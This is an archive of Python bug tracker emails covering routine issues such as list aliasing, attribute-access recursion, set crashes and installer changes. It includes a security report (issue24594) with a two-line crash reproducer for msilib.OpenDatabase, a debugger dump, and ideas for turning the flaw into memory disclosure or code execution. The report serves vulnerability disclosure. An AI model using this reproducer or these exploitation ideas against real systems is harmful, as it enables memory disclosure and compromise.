[issue24589] Wrong behavior for list of lists
Martin Panter added the comment: This is how Python is meant to work; see https://docs.python.org/2.7/faq/programming.html#how-do-i-create-a-multidimensional-list. Unless there is something in the documentation that gave you the wrong impression, I suggest we close this. -- nosy: +vadmium resolution: - not a bug ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24589 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24589] Wrong behavior for list of lists
Changes by Martin Panter vadmium...@gmail.com: -- stage: - resolved status: open - closed ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24589 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24590] Customized attribute access causes infinite loop
New submission from Zorceta:
Code and result:
```
class A:
def __init__(self):
self.data = {'a': 1, 'b': 2, 'c': 3}
def __getattr__(self, name):
print('in __getattr__, getting %s' % name)
if name in self.data:
return self.data[name]
else:
raise AttributeError
def __setattr__(self, name, value):
print('in __setattr__, setting %s to %s' % (name, value))
if name in self.data:
self.data[name] = value
else:
self.__class__.__setattr__(self, name, value)
a = A()
in __setattr__, setting data to {'a': 1, 'b': 2, 'c': 3}
in __getattr__, getting data
in __getattr__, getting data
in __getattr__, getting data
..
```
From above you can see it stuck on
if name in self.data:
in `__setattr__`.
But, the result indicates that `__setattr__` uses `__getattr__` to read the
`data` attribute, which is against docs:
Note that if the attribute is found through the normal mechanism,
__getattr__() is not called.
If it acts as described, `data` should be read through the normal mechanism,
not through `__getattr__`.
--
messages: 246453
nosy: zorceta
priority: normal
severity: normal
status: open
title: Customized attribute access causes infinite loop
type: behavior
versions: Python 3.4
___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24590
___
___
Python-bugs-list mailing list
Unsubscribe:
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24589] Wrong behavior for list of lists
Zorceta added the comment: FYI: ll = [[]]*10 [id(l) for l in ll] [67940296, 67940296, 67940296, 67940296, 67940296, 67940296, 67940296, 67940296, 67940296, 67940296] -- nosy: +zorceta ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24589 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24136] document PEP 448: unpacking generalization
Martin Panter added the comment: FWIW, I still emails from the tracker, even the ones with my own comments and changes. All I can suggest is check the address you have set, check for spam, etc. I don’t @mentioning will do anything here. But as long as the person is in the nosy list they _should_ get an email (in theory :). -- ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24136 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24589] Wrong behavior for list of lists
New submission from Jos Dechamps: After creating a list of lists, changing one element, leads to changes of all the elements: v=[[]]*10 v [[], [], [], [], [], [], [], [], [], []] v[3].append(3) v [[3], [3], [3], [3], [3], [3], [3], [3], [3], [3]] v=[[]]*10 v [[], [], [], [], [], [], [], [], [], []] v[3] += [3] v [[3], [3], [3], [3], [3], [3], [3], [3], [3], [3]] -- components: Interpreter Core messages: 246450 nosy: dechamps priority: normal severity: normal status: open title: Wrong behavior for list of lists type: behavior versions: Python 2.7 ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24589 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24590] Unappropriate issue
Changes by Zorceta zorc...@gmail.com: -- title: Customized attribute access causes infinite loop - Unappropriate issue ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24590 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24589] Wrong behavior for list of lists
Bastiaan Albarda added the comment: The * operator lets you use the same object multiple times, thereby saving resources. If you want unique objects use comprehension: v = [[] for x in range(10)] v[3].append(3) v [[], [], [], [3], [], [], [], [], [], []] v[3] += [3] v [[], [], [], [3, 3], [], [], [], [], [], []] -- nosy: +Bastiaan Albarda ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24589 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24590] Customized attribute access causes infinite loop
Changes by Zorceta zorc...@gmail.com: -- status: open - closed ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24590 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24588] Unable to pass argument to python script from Java program
R. David Murray added the comment: For help with programming, please try the python-list mailing list, or in this case probably a java forum. If you find that there is really is a bug (this is very unlikely) you can reopen this issue with more information about the problem you found. -- nosy: +r.david.murray resolution: - not a bug stage: - resolved status: open - closed ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24588 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24551] byte conversion
Padmanabhan Tr added the comment:
On Wednesday, July 8, 2015 7:56 PM, padmanabhan T R trp...@yahoo.com wrote:
Dear Mr Steven D'ApranoI have not gone through the relevant Source Codes;
purely based on my working with Python3 (Version 3.4.2) and the 'The Python
Library Reference manual, Release 3.4.2' document, I have the following to
suggest as additions to this Manual:
- Insert the following under 'codecs.decode(obj [,encoding[,errors]])' -
Section 7.2, Page 142 :
When a bytes objectis decoded with 'hex' decoding, the corresponding returned
array hasASCII characters for byte pairs wherever possible; other byte
pairsappear as such. The reverse holds good for encoding.
import codecs
codecs.encode(b'\x1d\x1e\x1f !','hex')
b'1d1e1f202122'
codecs.encode(b'\x1d\x1e\x1f\x20\x21\x22','hex')
b'1d1e1f202122'
codecs.decode(b'1d1e1f202122','hex')
b'\x1d\x1e\x1f !'
codecs.encode(_,'hex')
b'1d1e1f202122'
codecs.decode(b'3031323334','hex')
b'01234'
codecs.encode(_,'hex')
b'3031323334'
codecs.decode(b'797a7b7c7d7e7f8081','hex')
b'yz{|}~\x7f\x80\x81'
codecs.encode(_,'hex')
b'797a7b7c7d7e7f8081'
codecs.encode(b'\x79\x7a\x7b\x7c\x7d\7e\x7f\x80\x81','hex')
b'797a7b7c7d07657f8081'
- Under 'int.to_bytes() - classmethod int.to_bytes()' - Section 4.4.2, Page
31 insert: 'See codecs.decode() also'
- Under 'int.to_bytes() - classmethod int.frombytes()' - Section 4.4.2,
Page 31 insert: 'See codecs.decode() also'
- Under 'classmethod bytes.fromhex(string)' - Section 7.2, Page 142 insert:
'See codecs.decode() also'
Padmanabhanm
On Wednesday, July 8, 2015 8:57 AM, padmanabhan T R trp...@yahoo.com
wrote:
On Tuesday, July 7, 2015 9:22 PM, Steven D'Aprano
rep...@bugs.python.org wrote:
Steven D'Aprano added the comment:
Bytes in Python 3 do use ASCII representation:
py b'\x41' == b'A' # ASCII
True
If you think the documentation is unclear, please tell us which part of the
docs you read (provide a URL) and we will see if it can be improved.
--
___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24551
___
--
___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24551
___
___
Python-bugs-list mailing list
Unsubscribe:
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24563] Encoding declaration: doc supported encodings
Sameer Kulkarni added the comment: I have added link to Standard Encodings : https://docs.python.org/3/library/codecs.html#standard-encodings and Python Specific Encodings : https://docs.python.org/3/library/codecs.html#python-specific-encodings -- keywords: +patch nosy: +ksameersrk Added file: http://bugs.python.org/file39884/encoding_links.patch ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24563 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24583] Crash when source set is changed during merging
Changes by Raymond Hettinger raymond.hettin...@gmail.com: Added file: http://bugs.python.org/file39883/index_to_entry.diff ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24583 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24592] global var defined in module not returned by function
Steve Dower added the comment: You should start by posting this to python-list or StackOverflow, and I'd suggest including code that can actually be run - it's far more precise than pseudocode. (Functions and modules get used a lot. It's far more likely there's a bug in your code than in Python's implementation.) -- resolution: - not a bug stage: - resolved status: open - closed ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24592 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24583] Crash when source set is changed during merging
Changes by Raymond Hettinger raymond.hettin...@gmail.com: -- stage: needs patch - patch review ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24583 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24591] offer option to suppress clean --all output relating to nonexistent dirs
New submission from alanf: The command setup.py clean --all writes out information about nonexistent directories that the script tried to clean but couldn't find. Example: 'build/bdist.linux-x86_64' does not exist -- can't clean it 'build/scripts-2.7' does not exist -- can't clean it It would be better to suppress this output, or at least offer an option for suppressing it. This information serves no purpose to the user, except possibly to make him or her unnecessarily worried. (I know at least three developers on my team who wondered whether these lines indicated a problem when they tested our setup.py, which performs the equivalent of clean --all whenever build is run.) It's perfectly normal for these directories not to exist. The chance that you would have every possible such directory is close to zero. There is a quiet option, but that's not what I want to use, since the other output issued by the command (that is, the removal of real directories) is informative. -- components: Distutils messages: 246458 nosy: alanf, dstufft, eric.araujo priority: normal severity: normal status: open title: offer option to suppress clean --all output relating to nonexistent dirs type: enhancement ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24591 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24592] global var defined in module not returned by function
New submission from arthur: defined global var, glob.myVar, in separated module imported module containing glob.myVar in function1, func1(): glob.myVar = func1Var = func2() in function2, func2(): if (...): glob.myVar+= abc func2() # call func2() again - recursive else: return glob.myVar I always find: func1Var is None = True An obvious workaround is func1Var = glob.myVar which is fine -- components: Windows messages: 246460 nosy: arthur, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: global var defined in module not returned by function type: behavior versions: Python 3.6 ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24592 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24593] [3.5.0b3] stdlib on Windows mismatches compiled version
New submission from Emanuel Barry: On Windows and with the pre-compiled stdlib, the 'collections/__init__.py' file doesn't match the compiled one, as hinted by the presence of OrderedDict, even though it is now part of _collections. The interpreter works just as intended since it uses the pre-compiled versions, but the file is misleading. There could be more files like this, but I haven't checked much. -- components: Library (Lib) messages: 246462 nosy: ebarry priority: normal severity: normal status: open title: [3.5.0b3] stdlib on Windows mismatches compiled version versions: Python 3.5 ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24593 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24593] [3.5.0b3] stdlib on Windows mismatches compiled version
Zachary Ware added the comment: I'm not sure I follow what you think is wrong. Are you expecting there to be no OrderedDict in Lib/collections/__init__.py? That's an incorrect expectation; even though there is now a C implementation of OrderedDict, the Python implementation will be kept forever for the benefit of other implementations of Python (so they don't have to reimplement OrderedDict unless they want to). -- nosy: +zach.ware ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24593 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24593] [3.5.0b3] stdlib on Windows mismatches compiled version
Emanuel Barry added the comment: I guess I misexplained myself; I meant that the file hints that there is no C implementation of it (it doesn't import the name from _collections), even though '_collections.OrderedDict is collections.OrderedDict'. -- ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24593 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24581] Crash when a set is changed during iteration
Roundup Robot added the comment: New changeset 8644744f53ce by Serhiy Storchaka in branch '3.4': Added regression test for issue24581. https://hg.python.org/cpython/rev/8644744f53ce New changeset cfb84be6c7fc by Serhiy Storchaka in branch '2.7': Added regression test for issue24581. https://hg.python.org/cpython/rev/cfb84be6c7fc New changeset 844bd42326fa by Serhiy Storchaka in branch '3.5': Added regression test for issue24581. https://hg.python.org/cpython/rev/844bd42326fa New changeset 9d296d5b6941 by Serhiy Storchaka in branch 'default': Added regression test for issue24581. https://hg.python.org/cpython/rev/9d296d5b6941 -- ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24581 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24583] Crash when source set is changed during merging
Serhiy Storchaka added the comment: LGTM for 3.4. But 3.5 has other bug. Changeset 637e197be547 looks incorrect to me. key should be increfed before calling PyObject_RichCompareBool() for the same reason as startkey. -- ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24583 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24583] Crash when source set is changed during merging
Raymond Hettinger added the comment: Can you produce a test case? Perhaps the incref/decref pair ought to be moved into PyObject_RichCompareBool(). It doesn't make much sense for the callers to do the work. -- ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24583 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24583] set.update(): Crash when source set is changed during merging
Changes by STINNER Victor victor.stin...@gmail.com: -- title: Crash when source set is changed during merging - set.update(): Crash when source set is changed during merging ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24583 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24581] Crash when a set is changed during iteration
Serhiy Storchaka added the comment: Thanks. -- stage: needs patch - resolved ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24581 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue23319] Missing SWAP_INT in I_set_sw
Changes by Matthieu Gautier d...@mgautier.fr: -- versions: +Python 3.5 ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue23319 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue23189] Set docstrings to empty string when optimizing with -OO.
Erik Bray added the comment: For what it's worth (since it was mentioned toward the end of this thread as an offending package) Astropy has a patch now to fix its misbehavior with respect to this issue. I do feel like this would be nice to fix though, since I think it's awkward to have code that on its face clearly has a docstring, but still have to check that the docstring may be None. Just to put it out there if anyone were really interested, I identified two ways this could be changed: 1) For functions add a new co_flags flag indicating that docstrings were optimized out. This is at the cost of a co_flags flag. 2) Keep an empty string as the first element in co_consts, at the const of one additional constant per function that previously had a docstring (still cheaper than the docstring itself in most cases). Of course, it would still break backward compatibility for code that expects None for an optimized out docstring, I guess, and probably isn't worth either of the above two sacrifices at the end of the day. -- nosy: +erik.bray ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue23189 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24583] Crash when source set is changed during merging
Serhiy Storchaka added the comment: LGTM for 3.5. But 3.6 has other bug. Changeset 637e197be547 looks incorrect to me. key should be increfed before calling PyObject_RichCompareBool() for the same reason as startkey. -- ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24583 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24551] byte conversion
Changes by Zachary Ware zachary.w...@gmail.com: -- stage: - resolved ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24551 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24551] byte conversion
Changes by Zachary Ware zachary.w...@gmail.com: -- components: -Demos and Tools ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24551 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24585] Windows installer does not detect existing installs
Roundup Robot added the comment: New changeset 8e18d615988e by Steve Dower in branch '3.5': Issue #24585: Enables build-to-build upgrades that preserve settings. https://hg.python.org/cpython/rev/8e18d615988e New changeset 2a8a39640aa2 by Steve Dower in branch 'default': Issue #24585: Enables build-to-build upgrades that preserve settings. https://hg.python.org/cpython/rev/2a8a39640aa2 -- nosy: +python-dev ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24585 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24551] byte conversion
Steven D'Aprano added the comment: I'm sorry, but I believe that you have misunderstood what happens here. This has nothing to do with the hex codec, or int.to_bytes() etc. This is the standard property of byte strings in Python, that they are displayed using ASCII as much as possible. The byte string b'\x41' is just the hex escape form for the byte string b'A' (ASCII capital A). It doesn't matter whether you use ASCII, decimal, octal or hexadecimal, you get an equal byte string: py b'A' == bytes([65]) == b'\101' == b'\x41' True with the same internal byte value. When you print a byte string, Python prefers to display it using ASCII characters where possible regardless of whether it was constructed from backslash escapes or not. So the byte string b'\x41 A \xEF' prints as b'A A \xef' because \x41 is the ASCII character A, but \xEF has no ASCII representation so it remains in hex escape form. It doesn't matter where that byte string comes from: the hex codec, int.to_bytes, or somewhere else. I don't think this is appropriate to continue discussing this on the bug tracker. If you would like to continue the discussion, please join the python-l...@python.org mailing list, or comp.lang.python newsgroup, and I'll be happy to discuss it further there. -- ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24551 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24583] set.update(): Crash when source set is changed during merging
Serhiy Storchaka added the comment: The same test is crashed in 3.6 even with index_to_entry.diff. ./python -m test.regrtest -F -m test_merge_and_mutate test_set -- ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24583 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24585] Windows installer does not detect existing installs
Steve Dower added the comment: Doesn't touch anything significant outside the installer, so I just committed it. Feel free to read over the change and comment here if you want, but we unfortunately won't get complete testing of this until rc1. I added some helpers for faking out version numbers, so if you want to try building the installer you can do: tools\msi\build.bat -x86 move PCBuild\win32\en-us test350 msbuild tools\msi\bundle\snapshot.wixproj /p:OverrideVersion=3.5.1 /t:Rebuild move PCBuild\win32\en-us test351 which will give you two installers with different versions (though the actual interpreter is unaffected). Or just hold out for the actual releases - I'll be testing it in the meantime. -- stage: - commit review ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24585 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24157] test_urandom_fd_reopened failure if OS X crash reporter default set to Developer
Changes by STINNER Victor victor.stin...@gmail.com: -- nosy: +haypo ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24157 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24594] msilib.OpenDatabase Type Confusion
New submission from JohnLeitch: The msilib.OpenDatabase method suffers from a type confusion vulnerability caused by the behavior of MsiOpenDatabase(), the underlying win32 function utilized. This is due to the unorthodox handling of the szPersist parameter: when an MSIDBOPEN_* value is passed, it is treated as a predefined persistence mode. However, when a larger value is passed, it is treated as a string pointer, which is used as the path to a new file. Because the Python method msilib.OpenDatabase passes its persist parameter through to MsiOpenDatabase, it may be possible for an attacker to trigger the type confusion bug should the seemingly innocuous persist parameter be exposed as attack surface. This could have a few consequences: 1) An attacker might be able to leverage this vulnerability to probe for valid addresses, which could then be used in another exploit to bypass ASLR/DEP. 2) An attacker might be able to leverage this vulnerability to dereference aribtrary values in memory, disclosing secrets. 3) An attacker may be able to spray memory with specially crafted string values, then leverage this vulnerability to pass one of the values as a persist string. Because this would lead to the creation of an MSI file in a location now controlled by the attacker, it could potentially be exploited to achieve remote code execution. A Python script that demonstrates the vulnerability is as follows: import msilib msilib.OpenDatabase(,0x41414141) And it produces the following exception: 0:000 r eax=41414141 ebx= ecx=0027f8c0 edx=41414142 esi=0027f8c0 edi= eip=757252aa esp=0027f874 ebp=0027f89c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 KERNELBASE!lstrlenA+0x1a: 757252aa 8a08mov cl,byte ptr [eax] ds:002b:41414141=?? 0:000 !analyze -v -nodb *** * * *Exception Analysis * * * *** FAULTING_IP: KERNELBASE!lstrlenA+1a 757252aa 8a08mov cl,byte ptr [eax] EXCEPTION_RECORD: -- (.exr 0x) ExceptionAddress: 757252aa (KERNELBASE!lstrlenA+0x001a) ExceptionCode: c005 (Access violation) ExceptionFlags: NumberParameters: 2 Parameter[0]: Parameter[1]: 41414141 Attempt to read from address 41414141 CONTEXT: -- (.cxr 0x0;r) eax=41414141 ebx= ecx=0027f8c0 edx=41414142 esi=0027f8c0 edi= eip=757252aa esp=0027f874 ebp=0027f89c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 KERNELBASE!lstrlenA+0x1a: 757252aa 8a08mov cl,byte ptr [eax] ds:002b:41414141=?? FAULTING_THREAD: 0d38 PROCESS_NAME: python.exe ERROR_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_PARAMETER1: EXCEPTION_PARAMETER2: 41414141 READ_ADDRESS: 41414141 FOLLOWUP_IP: msi!CApiConvertString::operator unsigned short const *+1b1d 622e1fa1 40 inc eax NTGLOBALFLAG: 70 APPLICATION_VERIFIER_FLAGS: 0 APP: python.exe ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: INVALID_POINTER_READ_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 622e1fa1 to 757252aa STACK_TEXT: 0027f89c 622e1fa1 41414141 41414141 623e22d0 KERNELBASE!lstrlenA+0x1a 0027fcfc 1d162217 01c54334 41414141 0027fd10 msi!CApiConvertString::operator unsigned short const *+0x1b1d 0027fd18 1e0aafd7 01d86940 01d7ea08 _msi!msiopendb+0x37 0027fd30 1e0edd10 01d7ea08 01d86940 python27!PyCFunction_Call+0x47 0027fd5c 1e0f017a 0027fdb4 01c86b18 01c86b18 python27!call_function+0x2b0 0027fdcc 1e0f1150 01cb4030 01c86b18 python27!PyEval_EvalFrameEx+0x239a 0027fe00 1e0f11b2 01c86b18 01cb4030 01c8aa50 python27!PyEval_EvalCodeEx+0x690 0027fe2c 1e11707a 01c86b18 01c8aa50 01c8aa50 python27!PyEval_EvalCode+0x22 0027fe44 1e1181c5 01d43a20 01c8aa50 01c8aa50 python27!run_mod+0x2a 0027fe64 1e118760 68e87408 003f2e93 0101 python27!PyRun_FileExFlags+0x75 0027fea4 1e1190d9 68e87408 003f2e93 0001 python27!PyRun_SimpleFileExFlags+0x190 0027fec0 1e038d35 68e87408 003f2e93 0001 python27!PyRun_AnyFileExFlags+0x59 0027ff3c 1d00116d 0002 003f2e70 003f1940 python27!Py_Main+0x965
[issue24594] msilib.OpenDatabase Type Confusion
JohnLeitch added the comment: Attaching repro file. -- Added file: http://bugs.python.org/file39886/msilib.OpenDatabase_Type_Confusion.py ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24594 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24583] Crash when source set is changed during merging
Changes by Serhiy Storchaka storch...@gmail.com: -- Removed message: http://bugs.python.org/msg246469 ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24583 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue15014] smtplib: add support for arbitrary auth methods
R. David Murray added the comment: Only one question, about a possible missing test. Otherwise this looks good to me. -- ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue15014 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24593] [3.5.0b3] stdlib on Windows mismatches compiled version
R. David Murray added the comment: The import is not at the top of the file, it is after the definition. -- nosy: +r.david.murray resolution: - not a bug stage: - resolved status: open - closed ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24593 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24590] Customized attribute access causes infinite loop
Ethan Furman added the comment: The error in the example code was in def __init__(self): self.data = ... In order to get around that issue, either `data` needs to be declared at class scope, or special cased in __getattr__. -- nosy: +ethan.furman resolution: - not a bug title: Unappropriate issue - Customized attribute access causes infinite loop ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24590 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
